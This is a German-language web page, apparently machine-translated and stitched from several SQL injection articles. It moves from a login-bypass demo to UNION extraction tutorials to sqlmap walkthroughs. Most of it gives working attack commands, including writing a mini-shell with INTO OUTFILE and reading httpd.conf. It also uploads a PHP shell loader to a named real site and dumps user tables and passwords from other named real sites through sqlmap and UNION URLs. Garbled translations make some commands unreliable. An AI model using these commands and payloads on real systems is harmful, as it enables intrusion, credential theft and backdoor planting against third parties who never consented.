heim - Internet
Grundlegende Verwendung von SQLMap. Anweisungen zur Verwendung von sqlmap

SQL-Injection ist ein Angriff, der dynamische SQL-Anweisungen ausnutzt, indem er bestimmte Teile von Anweisungen auskommentiert oder eine Bedingung hinzufügt, die immer wahr ist. Es zielt auf Lücken in der Webanwendungsarchitektur und nutzt SQL-Anweisungen, um bösartigen SQL-Code auszuführen:

In diesem Artikel befassen wir uns mit den bei SQL-Injections verwendeten Techniken und wie man Webanwendungen vor solchen Angriffen schützt.

So funktioniert SQL-Injection

Die Arten von Angriffen, die mithilfe von SQL-Injection ausgeführt werden können, variieren je nach Art der betroffenen Datenbank-Engines. Der Angriff zielt auf dynamische SQL-Anweisungen. Eine dynamische Anweisung ist eine Anweisung, die zur Laufzeit basierend auf Parametern aus einem Webformular oder einer URI-Abfragezeichenfolge erstellt wird.

Stellen Sie sich eine einfache Webanwendung mit einem Anmeldeformular vor. Der HTML-Formularcode ist unten:

  • Das Formular akzeptiert eine E-Mail-Adresse und dann wird das Passwort an eine PHP-Datei namens index.php gesendet;
  • Die Sitzung wird in einem Cookie gespeichert. Diese Funktion wird durch Überprüfen des Flags „remember_me“ aktiviert. Zum Senden von Daten wird die Post-Methode verwendet. Das bedeutet, dass die Werte nicht in der URL angezeigt werden.

Nehmen wir an, dass die Anfrage zur Überprüfung der Benutzer-ID auf der Serverseite wie folgt aussieht:

  • Die Anfrage verwendet die Array-Werte $_POST direkt, ohne sie zu bereinigen;
  • Das Passwort wird mit dem MD5-Algorithmus verschlüsselt.

Wir werden uns einen Angriff mit SQL-Injection sqlfiddle ansehen. Öffnen Sie die URL http://sqlfiddle.com/ in Ihrem Browser. Das folgende Fenster erscheint auf dem Bildschirm.

Hinweis: Sie müssen SQL-Anweisungen schreiben:

Schritt 1: Geben Sie diesen Code im linken Bereich ein:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); In Benutzerwerte (E-Mail, Passwort) einfügen („ [email protected]",md5("abc"));

Schritt 2: Klicken Sie auf die Schaltfläche Schema erstellen».
Schritt 3: Geben Sie den folgenden Code in den rechten Bereich ein:

Wählen Sie * aus den Benutzern aus;

Schritt 4: Klicken Sie auf „ Führen Sie SQL aus" Sie werden das folgende Ergebnis sehen:

Nehmen wir an, der Benutzer gibt eine E-Mail-Adresse an [email protected] und 1234 als Passwort. Die Abfrage, die in der Datenbank ausgeführt werden muss, könnte wie folgt aussehen:

Der obige Beispiel-SQL-Injection-Code kann umgangen werden, indem ein Teil des Passworts auskommentiert und eine Bedingung hinzugefügt wird, die immer wahr ist. Nehmen wir an, dass ein Angreifer folgende Daten in das E-Mail-Adressfeld einfügt:

[email protected]„OR 1 = 1 LIMIT 1 –“ ]

und xxx im Passwortfeld.

Die generierte dynamische Anweisung sieht folgendermaßen aus:

  • [email protected] endet mit einem einfachen Anführungszeichen, das die Zeichenfolge beendet;
  • ODER 1 = 1 LIMIT 1 ist eine Bedingung, die immer wahr ist und die zurückgegebenen Ergebnisse auf nur einen Datensatz beschränkt.

0; „ AND ... ist ein SQL-Kommentar, der den Passwortteil ausschließt.

Kopieren Sie die obige Abfrage und fügen Sie sie wie unten gezeigt in das FiddleRun SQL-Textfeld ein:

Hackeraktivität: SQL-Injektionen in Webanwendungen

Zu Demonstrationszwecken steht unter http://www.techpanda.org/ eine einfache Webanwendung zur Verfügung, die speziell für Einsteiger anfällig für SQL-Injection-Angriffe gemacht ist. Der oben angegebene HTML-Formularcode stammt von der Autorisierungsseite dieser Anwendung.

Es bietet grundlegende Sicherheit wie die Bereinigung von E-Mail-Feldern. Dies bedeutet, dass der obige Code nicht zur Umgehung dieses Mechanismus verwendet werden kann.

Um dies zu umgehen, können Sie das Passwortfeld verwenden. Das folgende Diagramm zeigt die Schritte, die Sie befolgen müssen:

Nehmen wir an, dass der Angreifer folgende Daten bereitstellt:

Schritt 1: Betreten [email protected] als E-Mail-Adresse;
Schritt 2: Geben Sie xxx’) OR 1 = 1 - ] ein;

Klicken Sie auf die Schaltfläche „Senden“.

Es wird an das Administrationspanel gesendet. Die generierte Abfrage sieht folgendermaßen aus:

Das folgende Diagramm zeigt, wie die Anfrage generiert wurde:

Hier:

  • Bei der Anfrage wird davon ausgegangen, dass MD5-Verschlüsselung verwendet wird.
  • Es werden ein schließendes einfaches Anführungszeichen und eine Klammer verwendet.
  • Dem Operator wird eine Bedingung hinzugefügt, die immer wahr ist.

Typischerweise versuchen Angreifer, bei einem SQL-Injection-Angriff mehrere unterschiedliche Methoden zu nutzen, um ihr Ziel zu erreichen.

Andere Arten von SQL-Injection-Angriffen

SQL-Injections können viel größeren Schaden anrichten als die Anmeldung bei einem System unter Umgehung des Autorisierungsmechanismus. Einige dieser Angriffe können sein:

  • Datenlöschung durchführen;
  • Datenaktualisierung durchführen;
  • Daten hinzufügen;
  • Führen Sie Befehle auf dem Server aus, die Schadprogramme herunterladen und installieren.
  • Exportieren Sie wertvolle Daten wie Kreditkartendaten, E-Mail-Adressen und Passwörter auf den Remote-Server des Angreifers.

Die obige Liste ist nicht vollständig. Es vermittelt lediglich einen Eindruck von den Gefahren, die SQL-Injections mit sich bringen.

Tools zur Automatisierung von SQL-Injections

Im obigen Beispiel haben wir manuelle Angriffsmethoden verwendet. Bevor Sie eine SQL-Injection durchführen, müssen Sie verstehen, dass es automatisierte Tools gibt, mit denen Sie Angriffe effizienter und schneller durchführen können:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

So verhindern Sie SQL-Injections

Hier sind ein paar einfache Regeln zum Schutz vor SQL-Injection-Angriffen:

Benutzereingaben sollten nicht vertrauenswürdig sein. Sie müssen immer bereinigt werden, bevor die Daten in dynamischen SQL-Operationen verwendet werden.

Gespeicherte Prozeduren- Sie können SQL-Abfragen kapseln und alle Eingabedaten als Parameter verarbeiten.

Vorbereitete Abfragen- Zuerst werden Abfragen erstellt und dann werden alle bereitgestellten Benutzerdaten als Parameter verarbeitet. Dies hat keine Auswirkungen auf die SQL-Anweisungssyntax.

Reguläre Ausdrücke- kann verwendet werden, um potenziell schädlichen Code zu erkennen und ihn vor der Ausführung von SQL-Anweisungen zu entfernen.

Zugriffsrechte zum Herstellen einer Verbindung zur Datenbank- Zu Schutz vor SQL-Injections, sollten Konten, die zur Verbindung mit der Datenbank verwendet werden, nur die erforderlichen Zugriffsrechte erhalten. Dies trägt dazu bei, die Aktionen zu begrenzen, die SQL-Anweisungen auf dem Server ausführen können.

Fehlermeldungen- darf keine vertraulichen Informationen preisgeben. Einfache benutzerdefinierte Fehlermeldungen wie „ Es tut uns leid, es ist ein technischer Fehler aufgetreten. Das Support-Team wurde bereits darüber informiert. Bitte versuchen Sie es später noch einmal" kann verwendet werden, anstatt die SQL-Abfragen anzuzeigen, die den Fehler verursacht haben.

Grüße, Leser. In letzter Zeit interessiere ich mich für Web-Sicherheit, und meine Arbeit steht in gewissem Maße damit in Zusammenhang. Weil Immer häufiger fielen mir Themen in verschiedenen Foren auf, die darum baten, zu zeigen, wie das alles funktioniert, also beschloss ich, einen Artikel zu schreiben. Der Artikel richtet sich an diejenigen, die damit noch nicht vertraut sind, es aber gerne lernen möchten. Es gibt relativ viele Artikel zu diesem Thema im Internet, für Anfänger sind sie jedoch etwas kompliziert. Ich werde versuchen, alles in klarer Sprache und detaillierten Beispielen zu beschreiben.

Vorwort

Um diesen Artikel zu verstehen, braucht man nicht wirklich Kenntnisse der SQL-Sprache, aber zumindest viel Geduld und ein wenig Gehirn zum Auswendiglernen.

Ich glaube, dass das bloße Lesen des Artikels nicht ausreichen wird, denn... Wir brauchen lebendige Beispiele – wie Sie wissen, ist Übung im Auswendiglernen nie überflüssig. Deshalb werden wir anfällige Skripte schreiben und diese trainieren.

Was ist SQL-Injection?
Vereinfacht ausgedrückt handelt es sich dabei um einen Angriff auf die Datenbank, der es Ihnen ermöglicht, eine Aktion auszuführen, die vom Ersteller des Skripts nicht geplant war. Beispiel aus dem Leben:

Vater schrieb seiner Mutter in einer Notiz, sie solle Vasya 100 Rubel geben und sie auf den Tisch legen. Wenn wir dies in eine komische SQL-Sprache umwandeln, erhalten wir:
NEHMEN SIE 100 RUBEL AUS IHRER GELDBÖRSE UND GEBEN SIE SIE WASYA

Da der Vater die Notiz schlecht geschrieben hatte (ungeschickte Handschrift) und sie auf dem Tisch liegen ließ, sah Wasjas Bruder Petja sie. Petya, ein Hacker, fügte dort „OR Pete“ hinzu und das Ergebnis war die folgende Anfrage:
Nehmen Sie 100 Rubel aus Ihrer Brieftasche und geben Sie sie Vasya oder Petya

Nachdem Mama die Notiz gelesen hatte, beschloss sie, Vasya gestern Geld zu geben und Petya 100 Rubel. Hier ist ein einfaches Beispiel für SQL-Injection aus dem Leben:) Ohne die Daten zu filtern (Mama konnte die Handschrift kaum verstehen) machte Petya einen Gewinn.

Vorbereitung
Zum Üben benötigen Sie ein Archiv mit den Quellskripten für diesen Artikel. Laden Sie es herunter und entpacken Sie es auf dem Server. Importieren Sie auch die Datenbank und legen Sie die Daten in der Datei fest cfg.php

Suchen Sie nach SQL-Injection

Wie Sie bereits verstanden haben, erfolgt die Injektion aus eingehenden Daten, die nicht gefiltert sind. Der häufigste Fehler besteht darin, die übermittelte ID nicht zu filtern. Nun, grob gesagt, setzen Sie in allen Feldern Anführungszeichen. Sei es eine GET/POST-Anfrage oder sogar ein Cookie!

Numerischer Eingabeparameter
Zum Üben benötigen wir ein Skript index1.php. Wie ich oben sagte, fügen wir Anführungszeichen in die Nachrichten-ID ein.

Weil Unsere Anfrage hat keine Filterung:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Das Skript wird dies als verstehen

SELECT * FROM news WHERE id=1"

Und es wird uns eine Fehlermeldung geben:
Warnung: mysql_fetch_array() erwartet, dass Parameter 1 eine Ressource ist, boolean, angegeben in C:\WebServ\domains\sqlinj\index1.php in Zeile 16

Tritt der Fehler nicht auf, kann das folgende Gründe haben:

1. SQL-Injection gibt es nicht – Anführungszeichen werden gefiltert, oder es lohnt sich einfach, darauf umzusteigen (int)
2. Die Fehlerausgabe ist deaktiviert.

Wenn Sie immer noch eine Fehlermeldung erhalten – Hurra! Wir haben die erste Art der SQL-Injection gefunden – numerische Eingabeparameter.

String-Eingabeparameter

Wir senden Anfragen an index2.php. In dieser Datei sieht die Anfrage so aus:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Hier wählen wir Nachrichten nach Benutzernamen aus und filtern auch hier nicht.
Auch hier senden wir eine Anfrage mit einem Angebot:

Es gab einen Fehler. OK! Dies bedeutet, dass eine Sicherheitslücke besteht. Für den Anfang reicht uns das – jetzt geht es ans Üben.

Lassen Sie uns handeln

Eine kleine Theorie

Sie können es wahrscheinlich kaum erwarten, etwas anderes als Fehler daraus zu ziehen. Verstehen Sie zunächst, dass das Zeichen „ -- " wird in SQL als Kommentar betrachtet.

AUFMERKSAMKEIT! Davor und danach müssen Leerzeichen stehen. In der URL werden sie als übermittelt %20

Alles, was nach dem Kommentar kommt, wird verworfen. Das heißt, die Anfrage:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Es wird gelingen. Sie können dies mit dem Skript index2.php versuchen, indem Sie eine Anfrage wie diese senden:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Lernen Sie den Parameter UNION. In der SQL-Sprache das Schlüsselwort UNION Wird verwendet, um die Ergebnisse zweier SQL-Abfragen in einer einzigen Tabelle zu kombinieren. Das heißt, um etwas herauszuholen, das wir von einem anderen Tisch benötigen.

Nutzen wir es aus

Wenn der Parameter „Numerisch“ ist, müssen wir in der Anfrage kein Angebot senden und am Ende natürlich einen Kommentar einfügen. Kehren wir zum Drehbuch zurück index1.php.

Wenden wir uns dem Skript sqlinj/index1.php?id=1 UNION SELECT 1 zu. Unsere Datenbankabfrage sieht so aus:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Und er hat uns einen Fehler gemacht, weil... Um mit zusammenführenden Abfragen arbeiten zu können, benötigen wir die gleiche Anzahl an Feldern.

Weil Wir können ihre Nummer in der ersten Anfrage nicht beeinflussen, dann müssen wir ihre Nummer in der zweiten so auswählen, dass sie mit der ersten übereinstimmt.

Auswahl der Anzahl der Felder

Die Auswahl der Felder ist sehr einfach. Senden Sie einfach die folgenden Anfragen:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Fehler…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Schon wieder ein Fehler!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Kein Fehler! Dies bedeutet, dass die Anzahl der Spalten 5 beträgt.

GRUPPIERE NACH
Es kommt oft vor, dass es 20 oder 40 oder sogar 60 Felder sein können. Damit wir sie nicht jedes Mal durchsortieren müssen, verwenden wir GRUPPIERE NACH

Wenn die Anfrage
sqlinj/index1.php?id=1 GROUP BY 2
Es wurden keine Fehler angezeigt, was bedeutet, dass die Anzahl der Felder mehr als 2 beträgt. Versuchen wir es:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, wir sehen einen Fehler, das bedeutet, dass die Anzahl der Felder weniger als 8 beträgt.

Wenn bei GROUP BY 4 kein Fehler vorliegt und bei GROUP BY 6 ein Fehler vorliegt, beträgt die Anzahl der Felder 5

Ausgabespalten definieren
Damit uns ab der ersten Anfrage nichts angezeigt wird, reicht es aus, eine nicht vorhandene ID zu ersetzen, zum Beispiel:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Mit dieser Aktion legen wir fest, welche Spalten auf der Seite angezeigt werden. Um diese Nummern nun durch die erforderlichen Informationen zu ersetzen, müssen Sie die Anfrage fortsetzen.

Datenausgabe

Nehmen wir an, wir wissen, dass die Tabelle noch existiert Benutzer in dem die Felder vorhanden sind Ausweis, Name Und passieren.
Wir benötigen Informationen über den Benutzer mit der ID=1

Erstellen wir daher die folgende Abfrage:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM Benutzer WHERE id=1
Das Skript gibt auch weiterhin aus

Dazu ersetzen wir die Zahlen 1 und 3 durch die Namen der Felder

Sqlinj/index1.php?id=-1 UNION SELECT Name,2,Pass,4,5 FROM Benutzer WHERE id=1
Wir haben bekommen, was wir brauchten!

Für „String-Eingabeparameter“ wie im Skript index2.php Sie müssen am Anfang ein Anführungszeichen und am Ende ein Kommentarzeichen hinzufügen. Beispiel:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Dateien lesen/schreiben

Um Dateien lesen und schreiben zu können, muss der Datenbankbenutzer über FILE_PRIV-Rechte verfügen.
Aufnahmedateien
Tatsächlich ist alles sehr einfach. Um eine Datei zu schreiben, verwenden wir die Funktion OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Super, die Datei wurde bei uns registriert. So können wir die Mini-Shell füllen:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Dateien lesen
Das Lesen von Dateien ist noch einfacher als das Schreiben. Es reicht aus, die Funktion einfach zu nutzen LADE DATEI, für den Ort des Feldes, das wir auswählen:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Somit haben wir die zuvor geschriebene Datei gelesen.

Schutzmethoden

Sich selbst zu schützen ist noch einfacher, als eine Schwachstelle auszunutzen. Filtern Sie einfach die Daten. Wenn Sie Zahlen übergeben, verwenden Sie
$id = (int) $_GET["id"];
Wie Benutzer malroc vorgeschlagen hat. Schützen Sie sich mit PDO oder vorbereiteten Anweisungen.

Anstatt abzuschließen

Hier möchte ich meinen ersten Teil zum Thema „SQL-Injection für Einsteiger“ beenden. Im zweiten werden wir uns schwerwiegendere Beispiele von Injektionen ansehen. Versuchen Sie, anfällige Skripte zu schreiben und selbst Abfragen auszuführen.
Und denken Sie daran: Vertrauen Sie keinem Benutzer Ihrer Website.

Nun, zum Thema:

Spoiler: Füllen Sie die Hülle

Wir haben auf der Website eine SQL-Injection, die so aussieht:

Sie müssen registriert sein, um Links sehen zu können.


Als erstes wollen wir prüfen, ob wir Berechtigungen zum Schreiben von Dateien auf der angegriffenen Ressource haben; dazu laden wir das Terminal und geben den folgenden Befehl ein:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Klicken Eingeben und die Analyse unserer SQL-Injection beginnt, der Bericht sieht so aus:

Wie Sie im Bericht sehen können, werden die Version von Apache, die Version von MySQL und die Version des auf dem Server installierten Betriebssystems geschrieben. All dies wird uns in Zukunft nützlich sein, aber am wichtigsten ist, dass Sie das sehen können Wir haben Rechte zum Schreiben von Dateien. Dies wird in der Zeile „Aktueller Benutzer ist DBA: True“ angezeigt

Der nächste Schritt für uns besteht darin, die Pfade zum Aufzeichnen unserer Shell zu ermitteln. Durch den Download der Datei können wir den Pfad zu unserer Seite auf dem Server ermitteln httpd.conf. Informationen zum Speicherort der Datei httpd.conf erhalten wir über Google; Sie können nach der Version des installierten Betriebssystems oder nach der Liste der wahrscheinlichsten Pfade suchen. Im Allgemeinen werde ich nicht tief in das Surfen in Suchmaschinen eintauchen. Sobald Sie den wahrscheinlichsten Speicherort des Pfads zur Datei herausgefunden haben, ist es an der Zeit, dieselbe Datei auf Ihre Festplatte herunterzuladen. Geben Sie dazu Folgendes ein Befehl und Anforderung zum Lesen der Datei auf dem Server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Wir möchten sofort darauf hinweisen, dass es nicht immer möglich ist, diese Konfigurationsdatei beim ersten Mal zu finden. Sie können daher die wahrscheinlichsten Pfade verwenden, in denen sich diese Datei befindet:

LISTE MÖGLICHER PFADE ZUR KONFIGURATIONSDATEI:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/Apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Wir erhalten einen Bericht von sqlmap in folgender Form:


Wie Sie sehen, hat uns sqlmap mitgeteilt, dass die Datei dieselbe Größe hat wie die Datei auf dem Server, daher haben wir das Recht, diese Datei zu lesen. Wenn nicht genügend Rechte vorhanden wären, um diese Datei zu lesen, würde eine Fehlermeldung angezeigt werden, dass die auf unserem Computer gespeicherte Datei eine andere Größe als die Datei auf dem Server hat oder dass sich keine Datei auf dem Server unter dem von uns angegebenen Pfad befindet und dies auch nie der Fall war gewesen. Sqlmap hat unsere Datei in den Berichtsdateien gespeichert und um sie zu lesen, müssen wir den Fenstermanager starten. Um den Fenstermanager zu starten, öffnen wir ein weiteres Terminalfenster und geben den Befehl ein:

Als nächstes folgen wir im sich öffnenden Manager dem Pfad, in dem sqlmap die Datei hinzugefügt hat, d. h.:
/root/.sqlmap/output/sacoor.com
Bewegen Sie anschließend den Cursor über die Datei und drücken Sie die Taste F3 auf der Tastatur und lesen Sie die Apache-Konfigurationsdatei:


Aus unserer Konfigurationsdatei sehen wir, dass sich unsere Site auf dem Server unter folgendem Pfad befindet:
/home/sbshop/site/

Nachdem wir nun ein paar Informationen haben, können wir versuchen, die Shell zu füllen. Dazu geben wir den folgenden Befehl ein:

Nach Eingabe des Befehls fragt sqlmap, welche Art von Füllmaterial wir verwenden möchten, weil ... In unserem Fall ist die Seite in PHP, dann laden wir sie hoch PHP-Loader, wählen Punkt 4 und drücken Sie die Eingabetaste. Als nächstes werden wir von sqlmap aufgefordert, auszuwählen, wo wir unseren Loader hochladen möchten, und da ... Wir kennen bereits den Pfad zu unserer Site auf dem Server und wählen ihn dann aus Punkt 2, Drücken Sie Eingeben und geben Sie den Pfad zur Site an:
/home/sbshop/site/

Und danach drücken wir Eingeben und wir sehen den folgenden Bericht:


In diesem Fall teilt uns sqlmap mit, dass wir keine Schreibrechte für diesen Ordner haben. Kein Problem, dieses Problem ist ganz einfach zu lösen. Wir geben den Befehl, Uniscan zu starten und Dateien und Ordner auf Beschreibbarkeit zu überprüfen. Hier ist der Befehl:

Uniscan -u http://www.sacoor.com/ -qwe

Nun prüft der Scanner alle beschreibbaren Verzeichnisse:


Der Scanner hat drei Verzeichnisse mit der Möglichkeit zum Schreiben von Dateien gefunden, daher versuchen wir erneut, unseren Shell-Loader zu laden, dieses Mal jedoch auf andere Weise. Führen Sie den Befehl erneut aus:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

und durch Auswahl Punkt 4(Ausfüllen des PHP-Skripts), geben Sie den Pfad an:
/home/sbshop/site/admin

Wir sehen Folgendes.

Was ist sqlmap und wozu dient es?

Mit dem Programm können Sie Websites auf SQL-Injection-Schwachstellen und XSS-Schwachstellen überprüfen und auch SQL-Injection ausnutzen. Es werden verschiedene Arten von SQL-Injections und eine Vielzahl von Datenbanken unterstützt.

Was können Sie mit sqlmap machen?

Mit sqlmap können Sie:

  • Überprüfen Sie, ob Websites Schwachstellen aufweisen

Wenn die Site anfällig für SQL-Injection ist, ist Folgendes möglich:

  • Informationen aus der Datenbank erhalten, einschließlich Dump (der gesamten) Datenbank
  • Informationen aus der Datenbank ändern und löschen
  • Laden Sie eine Shell (Hintertür) auf einen Webserver hoch

Eines der Szenarien für die Verwendung von sqlmap:

  • Benutzername und Passwort aus der Datenbank abrufen
  • Nach Site-Administration-Panels suchen (Admin-Panel)
  • Melden Sie sich mit dem erhaltenen Login und Passwort im Admin-Panel an

Liegt eine Schwachstelle vor, kann sich der Angriff in verschiedene Richtungen entwickeln:

  • Datenänderung
  • Die Hintertür füllen
  • Einfügen von JavaScript-Code, um Benutzerdaten zu erhalten
  • Implementierung von Code zum Einbinden in BeEF

Wie wir sehen, ist SQL-Injection eine sehr gefährliche Schwachstelle, die einem Angreifer große Chancen bietet.

Überprüfung von Websites mit SQLMAP

Wenn die Site Daten vom Benutzer mithilfe der GET-Methode empfängt (wenn sowohl der Name der Variablen als auch die übertragenen Daten in der Adressleiste des Browsers sichtbar sind), müssen Sie die Adresse der Seite auswählen, auf der sich diese Variable befindet gegenwärtig. Es kommt nach dem Fragezeichen ( ? ), Zum Beispiel:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

In der ersten Adresse lautet der Variablenname Ausweis, und der übergebene Wert ist 8 . In der zweiten Adresse steht auch der Variablenname Ausweis, und der übertragene Wert 22 . Im dritten Beispiel ist der Variablenname derselbe, aber der übergebene Wert ist derselbe S. 36. Der gleiche Variablenname ist eine zufällige Übereinstimmung für verschiedene Websites, er kann alles sein, die übertragenen Daten können alles sein, es können mehrere Variablen vorhanden sein, deren Werte durch ein Symbol getrennt sind & .

Wenn wir prüfen möchten, ob die ID-Variable anfällig für SQL-Injection ist, müssen wir die gesamte Adresse eingeben – http://www.dwib.org/faq2.php?id=8 (nicht http://www.dwib .org /faq2.php oder http://www.dwib.org).

Der Befehl zum Überprüfen einer von der GET-Methode übergebenen Variablen ist sehr einfach:

Sqlmap -u Site-Adresse

Für diese Websites lauten die Befehle:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Während des Überprüfungsprozesses stellt sqlmap möglicherweise verschiedene Fragen, die Sie beantworten müssen j(d. h. Ja) oder N(d. h. Nein). Die Buchstaben y und n können groß oder klein sein. Der Großbuchstabe bedeutet die Standardauswahl. Wenn Sie damit einverstanden sind, drücken Sie einfach die Eingabetaste.

Beispiele für Situationen und Fragen:

Heuristiken haben festgestellt, dass das Ziel durch eine Art WAF/IPS/IDS geschützt ist. Soll SQLMap versuchen, Backend-WAF/IPS/IDS zu erkennen?

Heuristiken haben ergeben, dass das Ziel durch eine Art WAF/IPS/IDS geschützt ist. Möchten Sie, dass sqlmap versucht, den Namen des WAF/IPS/IDS zu ermitteln?

Meine Lieblingsanfrage:

Heuristischer (Basis-)Test zeigt, dass der GET-Parameter „id“ möglicherweise injizierbar ist (mögliches DBMS: „MySQL“). Beim Testen auf SQL-Injection für den GET-Parameter „id“ sieht es so aus, als ob das Back-End-DBMS „MySQL“ ist. Möchten Sie Testnutzlasten speziell für andere DBMS überspringen?

Der Punkt ist, dass die Heuristik festgestellt hat, dass der Parameter möglicherweise anfällig ist und das Remote-DBMS bereits identifiziert wurde. Wir werden gefragt, ob wir die Prüfung fortsetzen möchten. Und im zweiten Screenshot ist die Site auch anfällig für XSS.

Wenn Sie den Vorgang automatisieren möchten, sodass sqlmap Sie nicht jedes Mal fragt, sondern die Standardauswahl verwendet (es gibt immer bessere Optionen), können Sie den Befehl mit der Option ausführen --Charge:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Mögliche Probleme beim Scannen von sqlmap

Folgende Fehler können auftreten:

Zeitüberschreitung bei der Verbindung zur Ziel-URL. sqlmap wird die Anfrage(n) erneut versuchen. Wenn das Problem weiterhin besteht, überprüfen Sie bitte, ob die angegebene Ziel-URL gültig ist. Falls dies der Fall ist, können Sie versuchen, die Ausführung mit aktiviertem Schalter „--random-agent“ und/oder Proxy-Schaltern („--ignore-proxy“, „--proxy“, …) erneut auszuführen.

Das bedeutet, dass die Website nicht mit sqlmap „sprechen“ möchte. Als Option wird uns die Nutzung angeboten --random-agent. Wenn Sie die Site im Browser ansehen können, sqlmap jedoch über die Unmöglichkeit der Verbindung schreibt, ignoriert die Site Anfragen und konzentriert sich auf den Benutzeragenten. Die Option --random-agent ändert den Standard-SQLMap-Wert in „Random“:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ein weiterer Grund für diesen Fehler könnte sein, dass Ihre IP von einer Website blockiert wird – dann müssen Sie einen Proxy verwenden. Wenn Sie bereits einen Proxy verwenden und dieser Fehler auftritt, kann das bedeuten, dass der Proxy Kommunikationsprobleme hat und Sie es ohne ihn versuchen sollten.

Ergebnisse des SQLMap-Scans

Die erkannten SQL-Injections werden wie folgt angezeigt:

Diese. werden in fetter grüner Farbe hervorgehoben, der Name des anfälligen Parameters wird geschrieben, die Art der SQL-Sicherheitsanfälligkeit und da ist das Wort injizierbar.

Abrufen einer Liste von Datenbanken mit sqlmap

Um eine Liste der Datenbanken zu erhalten, verwenden Sie die Option --dbs. Beispiele:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Abrufen von Informationen aus Datenbanken

Beispielsweise wurden zwei Datenbanken für die Website wellerpools.com gefunden:

[*] information_schema [*] main_wellerpools

Ich möchte die Liste der Tabellen in der Datenbank main_wellerpools wissen. Nutzen Sie dazu die Option --tables. Darüber hinaus müssen wir nach der Option die Tabelle angeben, die uns interessiert -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Liste der Tabellen:

Aus irgendeinem Grund möchte ich die Liste der Spalten aus der Benutzertabelle wissen. Nutzen Sie dazu die Option --Säulen. Darüber hinaus müssen wir die Datenbank angeben, an der wir interessiert sind ( -D main_wellerpools) und nach dem Schlüssel -T die Tabelle, für die wir eine Liste der Spalten sehen möchten:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T Benutzer --columns

Um den Inhalt anzuzeigen, nutzen Sie die Option --entsorgen. Es kann zusammen mit der Datenbank angegeben werden und dann wird ein Dump der gesamten Datenbank erstellt, oder Sie können die Daten auf eine Tabelle oder sogar eine Spalte beschränken. Mit dem folgenden Befehl möchte ich den Inhalt der gesamten Benutzertabelle sehen:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T Benutzer --dump

Schauen Sie sich die Passwörter an – bei einem kurzen Blick dachte ich, es handele sich um Hashes. Die Admins haben wirklich versucht, sich zu verteidigen, aber es hat ihnen nicht geholfen.

Da der Parameter, der die von der GET-Methode gesendeten Daten akzeptiert, übrigens angreifbar ist, können Sie direkt in der Browserzeile eine Anfrage stellen, sodass der Benutzername und das Passwort direkt auf der Site selbst angezeigt werden:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+von+Benutzern--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+von+Benutzern--

